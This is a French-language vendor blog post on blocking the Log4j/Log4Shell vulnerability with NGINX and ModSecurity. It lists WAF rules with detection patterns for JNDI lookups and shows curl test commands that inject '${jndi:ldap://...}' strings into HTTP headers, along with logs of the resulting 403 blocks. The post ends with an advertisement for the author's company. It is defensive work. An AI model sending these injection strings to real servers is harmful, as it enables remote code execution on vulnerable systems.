Dans cet article nous allons vous dire comment se protéger de la vulnérabilité log4j avec NGINX, pour cela, nous commencerons par une brève introduction sur ce qu’est Log4j et l’importance de protéger les APIs, plus tard nous indiquerons les étapes à suivre pour détecter et bloquer les vulnérabilités avec NGINX.
Qu’est-ce que Log4j et pourquoi est-il important de se protéger de la vulnérabilité Log4j?
Qu’est-ce que Log4j : Définition
Avant de commencer à expliquer les mesures à prendre pour vous protéger, il est important de savoir ce qu’est Log4j. Il est défini comme un outil commun, utilisé pour les projets Java/J2EE à petite et grande échelle. Dans Log4j, nous utilisons des instructions de journal au lieu d’instructions SOPL dans le code pour connaître l’état d’un projet pendant son exécution, il est donc d’une grande importance dans nos projets.
Importance de se protéger de la vulnérabilité Log4j
À ce stade, la grande majorité est très claire sur le fait que la cybersécurité doit être quelque chose de transversal dans tous les processus d’une organisation et en particulier dans les processus exposés à des tiers tels que les APIs,Un impact sur ces services peut sérieusement affecter les processus métier, l’économie, etc…Et c’est pourquoi la politique ou le plan de cybersécurité doit être aligné dans tous les processus de l’entreprise, tant commerciaux que techniques, car ils ont un impact direct.
Cette fois, je ne suis pas ici pour vous dire en quoi consiste la vulnérabilité log4j car de nombreuses publications y font référence et je suis sûr que vous le savez tous déjà.
Si vous vous souvenez de la dernière fois que je vous ai parlé de cybersécurité et de comment on peut protéger les API exposées, je vous ai dit quelques astuces et quelques options qui existent grâce à la communauté, notamment je vous ai dit que NGINX a la possibilité d’intégrer un module WAF” pare-feu applicatif web” appelé Modsecurity, qui peut nous aider, grâce aux règles de la communauté, à protéger les APIs affaire ou de service des attaques par SQLi, XSS, etc…
Vous pourriez être intéressé par cet article: Comment configurer NGINX en tant que WAF avec ModSecurity.
Dans le blog de NGINX ils proposent différentes options pour protéger les applications Java vulnérables que vous avez dans votre infrastructure ou dans le cloud.
Comment ajouter à NGINX les règles pour détecter et bloquer les vulnérabilités
Étapes à suivre pour vous protéger de la vulnérabilité Log4j
Les étapes à suivre pour ajouter à votre NGINX avec WAF et ModSecurity en fonctionnement, les règles pour détecter et bloquer ce type d’attaque sont les suivantes:
1. Nous devons d’abord avoir nos règles présentes et mises à jour, pour cela nous pouvons aller sur https://github.com/coreruleset/coreruleset et télécharger ou mettre à jour nos règles.
Nous devons d’abord avoir nos règles présentes et mises à jour, pour cela nous pouvons aller sur https://github.com/coreruleset/coreruleset et télécharger ou mettre à jour nos règles.
Coreruleset.org mentionne que la règle CRS 932130 permet de détecter les exploits connus envoyés par paramètres par les méthodes POST ou GET, cependant, cette règle n’inspecte pas les données des en-têtes HTTP aussi appelés “HEADERS” et donc en raison du nombre d’attaques analysées détectées que cette règle n’était pas adéquates et elles incluaient CVE-2021-45105.
Pour cette raison, ils indiquent qu’une solution rapide consiste à inclure l’inspection des en-têtes HTTP “User-Agent”, entre autres. Pour appliquer cette solution, il faut ajouter 2 directives:
# Defense against CVE-2021-44228 SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:User-Agent" SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:Referer"
Comme il s’agit d’une solution rapide, cela peut générer des faux positifs.
2. Nous vous recommandons d’étendre la configuration à tous les en-têtes HTTP avec cette directive:
# Defense against CVE-2021-44228 SecRuleUpdateTargetById 932130 "REQUEST_HEADERS"
3.Maintenant, nous devons ajouter les directives ci-dessus dans un nouveau fichier de configuration dans le répertoire /usr/local/nginx/conf/owasp-crs/rules/xxxxx.conf.
4. Ensuite, nous ajouterons la règle suivante avec l’id 1005.
# Generic rule against CVE-2021-44228 (Log4j / Log4Shell)
# See https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx (?:${[^}]{0,4}${|${(?:jndi|ctx))" \
"id:1005,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:cmdline,\
log,\
msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
5. Nous pouvons également ajouter ci-dessous les 2 règles suivantes qui ont été fournies par la communauté.
# Generic rule against CVE-2021-44228 (Log4j)
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[^}]*${" \
"id:1000,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:cmdline,\
log,\
msg:'Potential Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Targetted rule against CVE-2021-44228 (Log4j)
# Can be evaded
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${jndi:(?:ldaps?|iiop|dns|rmi)://" \
"id:1001,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
# Targetted rule against CVE-2021-44228 (Log4j)
# Alternative generic regex
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_HEADERS|XML://*|XML://@* "@rx ${[\w${}\-:]*j[\w${}\-:]*n[\w${}\-:]*d[\w${}\-:]*i[\w${}\-:]*:.*}" \
"id:1002,\
phase:2,\
block,\
t:none,t:lowercase,t:urlDecodeUni,\
log,\
msg:'Remote Command Execution: Log4j CVE-2021-44228', \
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-java',\
tag:'platform-multi',\
tag:'attack-rce',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/137/6',\
tag:'PCI/6.5.2',\
tag:'paranoia-level/1',\
ver:'OWASP_CRS/3.3.x',\
severity:'CRITICAL',\
setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
Toutes les règles ci-dessus ne sont pas définitives mais elles protègent temporairement de la vulnérabilité, nous espérons qu'elles publieront bientôt une version stable et testée, mais cela demande du temps et beaucoup de tests pour éviter les faux positifs.
N'oubliez pas que pour vérifier la configuration avant de redémarrer, nous devons exécuter "NGINX -t" cette commande vérifie si la configuration est correcte ou non, si tout est correct, nous pouvons procéder à l'application des modifications avec "service NGINX restart ou systemctl restart NGINX"
Tester la règle
Ici, nous vous montrons un exemple de tests par console montrant une tentative d’exploitation de la vulnérabilité, lors de la première tentative, il est montré comment le serveur répond une réponse vide du serveur, ce qui signifie que la nouvelle règle ne nous a pas bloqués.
Une fois les modifications appliquées lors de la deuxième tentative, il est montré comment NGINX nous renvoie un 403 Forbidden.
jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
curl: (52) Empty reply from server
jesusamoros@Jesuss-MBP ~ % curl -H 'User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' -H 'X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' 'https://test.dominio.es'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
Pour les tests, vous pouvez vous aider avec ce lien https://log4j-tester.trendmicro.com.
Logs détectés
Ici, les logs ou journaux du proxy et ceux de ModSecurity sont affichés et selon la façon dont nous formulons l’exploitation, certaines règles ou d’autres ont été détectées.
==> /var/log/nginx/log_access.log <==
2x.71.x98.10x - - [22/Dec/2021:17:31:19 +0100] - "-" - "-"-"test" "GET / HTTP/1.1"403 146 "-" "${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}""-" "-" - "GET / HTTP/1.1" - "-" - "-"
[22/Dec/2021:17:31:19 +0100] 2x.71.x98.10x - - - test.dominio.es to: -: GET / HTTP/1.1 upstream_response_time - msec 1640190679.068 request_time 0.000
==> /var/log/nginx/modsec_audit.log <==
---vT7t0f8k---A--
[22/Dec/2021:17:31:19 +0100] 1640190679 217.71.198.104 49888 172.16.39.21 443
---vT7t0f8k---B--
GET / HTTP/1.1
Host: test.dominio.es
Accept: */*
User-Agent: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}
---vT7t0f8k---D--
---vT7t0f8k---E--
<html>\x0d\x0a<head><title>403 Forbidden</title></head>\x0d\x0a<body>\x0d\x0a<center><h1>403 Forbidden</h1></center>\x0d\x0a<hr><center>nginx</center>\x0d\x0a</body>\x0d\x0a</html>\x0d\x0a
---vT7t0f8k---F--
HTTP/1.1 403
Server: nginx
Date: Wed, 22 Dec 2021 16:31:19 GMT
Content-Length: 146
Content-Type: text/html
Connection: keep-alive
---vT7t0f8k---H--
ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?:$(?:\((?:\(.*\)|.*)\)|\{.*})|[<>]\(.*\))' against variable `REQUEST_HEADERS:X-Api-Version' (Value: `${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170}' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "327"] [id "932130"] [rev ""] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-baba-41ee-8f40-abcb4151d170} found within REQUEST_HEADERS:X-Api-Version: ${jndi:ldap://log4j-tester.trendmicro.com:1389/44c2e512-b (27 characters omitted)"] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref "o0,84v57,84t:cmdLineo0,84v57,84t:cmdLineo0,84v157,84t:cmdLine"]
ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `15' ) [file "/usr/local/nginx/conf/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "139"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.4.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "172.16.39.21"] [uri "/"] [unique_id "1640190679"] [ref ""]
---vT7t0f8k---I--
Conclusion
Il faut bien comprendre que nous vivons actuellement dans un monde technologique qui change constamment et qui évolue très vite, si bien qu’un jour notre entreprise peut être sereine en utilisant une librairie Java créée par la communauté, et le lendemain que c’est la vulnérabilité la plus exploitée de tous les temps.
Et que pouvons-nous faire à ce sujet ? Avoir une équipe professionnelle qui y est préparée et chez Chakray nous avons préparé des équipes humaines, dont moi-même, où notre objectif principal est d’apporter une réponse agile à des situations ou des incidents tels que celui dans lequel nous nous trouvons actuellement.
Contactez-nous et nous avons une équipe multidisciplinaire qui travaille avec une grande variété d’outils qui vous permettent d’être attentif à ce type de situation et qui a la capacité et l’expérience en automatisation pour donner une grande réponse dans un court laps de temps, en remédiant rapidement situations commises.
Si vous souhaitez en savoir plus, n’hésitez pas et contactez-nous pour plus d’informations.
